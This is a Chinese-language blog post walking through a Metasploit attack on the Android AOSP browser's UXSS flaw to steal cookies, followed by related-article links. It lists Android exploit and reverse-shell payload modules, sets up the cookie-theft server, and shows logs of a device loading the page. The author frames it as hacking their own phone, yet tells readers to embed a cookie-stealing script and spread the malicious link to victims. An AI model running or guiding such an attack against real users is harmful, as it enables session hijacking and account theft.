利用Android的UXSS漏洞完成一次XSS攻击
黑客攻击的方式思路是先搜集信息,定位漏洞,然后针对不同的漏洞采用不同的方式来黑掉你。下面用metasploit模拟一次跨站脚本攻击(黑掉自己的手机)。
1.搜集信息
msf > search android Matching Modules
================ Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/android/google_play_store_uxss_xframe_rce normal Android Browser RCE Through Google Play Store XFO
auxiliary/gather/android_browser_new_tab_cookie_theft normal Android Browser "Open in New Tab" Cookie Theft
auxiliary/gather/android_htmlfileprovider normal Android Content Provider File Disclosure
auxiliary/gather/android_object_tag_webview_uxss 2014-10-04 normal Android Open Source Platform (AOSP) Browser UXSS
auxiliary/gather/android_stock_browser_uxss normal Android Open Source Platform (AOSP) Browser UXSS
auxiliary/scanner/sip/sipdroid_ext_enum normal SIPDroid Extension Grabber
exploit/android/browser/samsung_knox_smdm_url -- normal Samsung Galaxy KNOX Android Browser RCE
exploit/android/browser/webview_addjavascriptinterface -- normal Android Browser and WebView addJavascriptInterface Code Execution
exploit/android/fileformat/adobe_reader_pdf_js_interface -- good Adobe Reader for Android addJavascriptInterface Exploit
exploit/android/local/futex_requeue -- excellent Android 'Towelroot' Futex Requeue Kernel Exploit
exploit/multi/handler manual Generic Payload Handler
payload/android/meterpreter/reverse_http normal Android Meterpreter, Dalvik Reverse HTTP Stager
payload/android/meterpreter/reverse_https normal Android Meterpreter, Dalvik Reverse HTTPS Stager
payload/android/meterpreter/reverse_tcp normal Android Meterpreter, Dalvik Reverse TCP Stager
payload/android/shell/reverse_http normal Command Shell, Dalvik Reverse HTTP Stager
payload/android/shell/reverse_https normal Command Shell, Dalvik Reverse HTTPS Stager
payload/android/shell/reverse_tcp normal Command Shell, Dalvik Reverse TCP Stager
可以看到安卓可以利用的漏洞有很多,在这里我选择了一个UXSS(通用跨站脚本攻击)的漏洞,通过搜索,可以看到漏洞的具体描述。

这个漏洞的大概意思是如果黑客成功,将从你的浏览器中获取到你页面的cookie。
2.接下来利用这个漏洞,并查看该模块的选项。
msf > use auxiliary/gather/android_object_tag_webview_uxss
msf auxiliary(android_object_tag_webview_uxss) > show options Module options (auxiliary/gather/android_object_tag_webview_uxss): Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM_JS no A string of javascript to execute in the context of the target URLs.
REMOTE_JS no A URL to inject into a script tag in the context of the target URLs.
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGET_URLS http://example.com yes The comma-separated list of URLs to steal.
URIPATH no The URI to use for this exploit (default is random) Auxiliary action: Name Description
---- -----------
WebServer
由上图可以看到必填字段有SRVHOST/SRVPORT/TARGET_URLS。这里才是关键。在这一步里,你需要做的就是搭建自己的站点,以及把获取cookie并传回的脚本嵌入进去!
在这里我除了SRVHOST外其他选择默认值,只起演示作用。(后边我会给出一个具体的例子,看别人的XSS是怎么做的)
msf auxiliary(android_object_tag_webview_uxss) > set SRVHOST 192.168.1.106
SRVHOST => 192.168.1.106
3.假设你的脚本已经站点已经搞定,接下来输入“exploit”,服务启动后基本快要大功告成了。
msf auxiliary(android_object_tag_webview_uxss) > exploit
[*] Auxiliary module execution completed
msf auxiliary(android_object_tag_webview_uxss) >
[*] Using URL: http://192.168.1.106:8080/ORvS7Li6X
[*] Server started.
4.接下来,你需要想办法把你的站点扩散出去,然后坐享其成就行了。
[*] 192.168.1.105 android_object_tag_webview_uxss - Request 'GET /ORvS7Li6X'
[*] 192.168.1.105 android_object_tag_webview_uxss - Sending initial HTML ...
[*] 192.168.1.105 android_object_tag_webview_uxss - Request 'GET /ORvS7Li6X'
[*] 192.168.1.105 android_object_tag_webview_uxss - Sending initial HTML ...
后记:这篇博客里对脚本制作思路和过程并没有深入探讨,具体思路可以借鉴一下这篇文章。
利用Android的UXSS漏洞完成一次XSS攻击的更多相关文章
- Android设备管理器漏洞(转)
一.漏洞描述 目前被称为“史上最强Android木马”的病毒Backdoor.AndroidOS.Obad.a利用Android设备管理器漏洞使用户无法通过正常方式卸载.其实该漏洞早在去年底已被发现. ...
- 漏洞科普:对于XSS和CSRF你究竟了解多少
转自:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广 ...
- Android安全开发之UXSS漏洞分析
0X01 前言 XSS是我们比较熟悉的一种攻击方式,包括存储型XSS.反射型XSS.DOM XSS等,但UXSS(通用型XSS)另外一种不同的漏洞类型,主要体现在漏洞的载体和影响范围上. XSS问题源 ...
- Android提权漏洞CVE-2014-7920&CVE-2014-7921分析
没羽@阿里移动安全,更多安全类技术干货,请访问阿里聚安全博客 这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到me ...
- Android设备管理器漏洞2--禁止用户取消激活设备管理器
2013年6月,俄罗斯安全厂商卡巴斯基发现了史上最强手机木马-Obad.A.该木马利用了一个未知的Android设备管理器漏洞(ANDROID-9067882),已激活设备管理器权限的手机木马利用该漏 ...
- 安卓微信、QQ自带浏览器 UXSS 漏洞
安卓微信.QQ自带浏览器 UXSS 漏洞 注:PDF报告原文下载链接 Author: hei@knownsec.com Date: 2016-02-29 一.漏洞描述 在安卓平台上的微信及QQ自带浏览 ...
- vmware漏洞之一——转:利用一个堆溢出漏洞实现VMware虚拟机逃逸
转:https://zhuanlan.zhihu.com/p/27733895?utm_source=tuicool&utm_medium=referral 小结: vmware通过Backd ...
- 利用DNS Zone Transfers漏洞工具dnswalk
利用DNS Zone Transfers漏洞工具dnswalk DNS Zone Transfers(DNS区域传输)是指一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库.当主服 ...
- 利用Android Studio、MAT对Android进行内存泄漏检测
利用Android Studio.MAT对Android进行内存泄漏检测 Android开发中难免会遇到各种内存泄漏,如果不及时发现处理,会导致出现内存越用越大,可能会因为内存泄漏导致出现各种奇怪的c ...
随机推荐
- gif动图快速制作方法(附工具)
现在写博客或是wiki的过程中,会经常引用到图片,特别是客户端经常与页面相关所以截图不可避.但是越来越多的效果仅仅一张图片是无法清楚的描述.并且博客或是wiki也是支持gif图的.gif图的制作方法有 ...
- 转 用C API 操作MySQL数据库
用C API 操作MySQL数据库 参考MYSQL的帮助文档整理 这里归纳了C API可使用的函数,并在下一节详细介绍了它们.请参见25.2.3节,“C API函数描述”. 函数 描述 mysql_a ...
- 需要记住的几个ASCII码
--------- A--------- a---------
- 【读书笔记】iOS网络-保护网络传输
一,验证服务器通信. 二,HTTP认证. 手机银行应用有两种认证模式:标准验证与快速验证.标准验证只是提示用户输入用户名与密码,而快速验证则让用户注册设备,然后使用PIN进行验证,每次验证时无需用户名 ...
- TCP的粘包现象
看面经时,看到有面试官问TCP的粘包问题.想起来研一做购物车处理数据更新时遇到粘包问题,就总结一下吧. 1 什么是粘包现象 TCP粘包是指发送方发送的若干包数据到接收方接收时粘成一包,从接收缓冲区看, ...
- 数据库 DROP命令和DELETE命令的本质区别是什么
不同点: 1. 从删除内容上区分: truncate和 delete只删除数据不删除表的结构(定义) drop语句将删除表的结构.被依赖的约束(constrain),触发器(trigger),索引(i ...
- oracle的性能优化
(1) 选择最有效率的表名顺序(只在基于规则的优化器中有效):ORACLE的解析器按照从右到左的顺序处理FROM子句中的表名,FROM子句中写在最后的表(基础表 driving table) ...
- js平滑返回顶部代码
随便找的一个,使用时直接调用gotoTop就行了,至于调速度之类的我没试,有兴趣的自己试试吧 注意:如果你想改变这个函数的名称千万不要忘了要同时改变第37行的那个gotoTop /** * JavaS ...
- InnoDB的WAL方式学习
之前写过一篇博文,<不好的MySQL过程编写习惯>(http://www.cnblogs.com/wingsless/p/5041838.html).这篇博文里强调了不要循环的提交事务,尽 ...
- YUV420查表法高效、无失真的转换为RGB32格式
YUV格式有两大类:planar和packed.planar的YUV格式,先连续存储所有像素点的Y,紧接着存储所有像素点的U,随后是所有像素点的V,这里所讲述的就是这中存储格式的:packed的YUV ...